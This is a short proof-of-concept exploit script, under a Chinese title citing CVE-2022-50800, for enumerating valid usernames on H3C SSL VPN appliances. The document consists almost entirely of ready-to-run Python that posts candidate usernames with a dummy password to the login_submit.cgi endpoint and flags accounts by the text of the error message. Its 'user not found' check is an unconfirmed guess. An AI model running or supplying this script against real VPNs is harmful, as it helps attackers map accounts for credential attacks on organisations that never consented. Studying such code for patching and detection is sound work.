CVE-2022-50800 H3C SSL VPN用户枚举漏洞

import requests import sys def enumerate_users(target_url, usernames): """ CVE-2022-50800 PoC - H3C SSL VPN User Enumeration This PoC demonstrates how to enumerate valid usernames on H3C SSL VPN by analyzing response differences from login_submit.cgi endpoint. """ endpoint = f"{target_url}/login_submit.cgi" valid_users = [] for username in usernames: # Craft POST request with txtUsrName parameter data = { 'txtUsrName': username, 'txtPassWord': 'fake_password_for_testing', 'selDomain': '' } try: response = requests.post(endpoint, data=data, timeout=10) # Analyze response to determine if user exists # Valid users typically return different error messages or response codes if 'user not found' not in response.text.lower(): valid_users.append(username) print(f"[+] Potentially valid user found: {username}") else: print(f"[-] User not found: {username}") except requests.RequestException as e: print(f"[!] Error testing {username}: {e}") return valid_users if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <username_list>") print(f"Example: python {sys.argv[0]} https://vpn.example.com usernames.txt") sys.exit(1) target = sys.argv[1] username_file = sys.argv[2] with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Starting user enumeration on {target}") print(f"[*] Testing {len(usernames)} usernames...") results = enumerate_users(target, usernames) print(f"\n[*] Enumeration complete. Found {len(results)} potential users.") if results: print("Valid usernames:") for user in results: print(f" - {user}")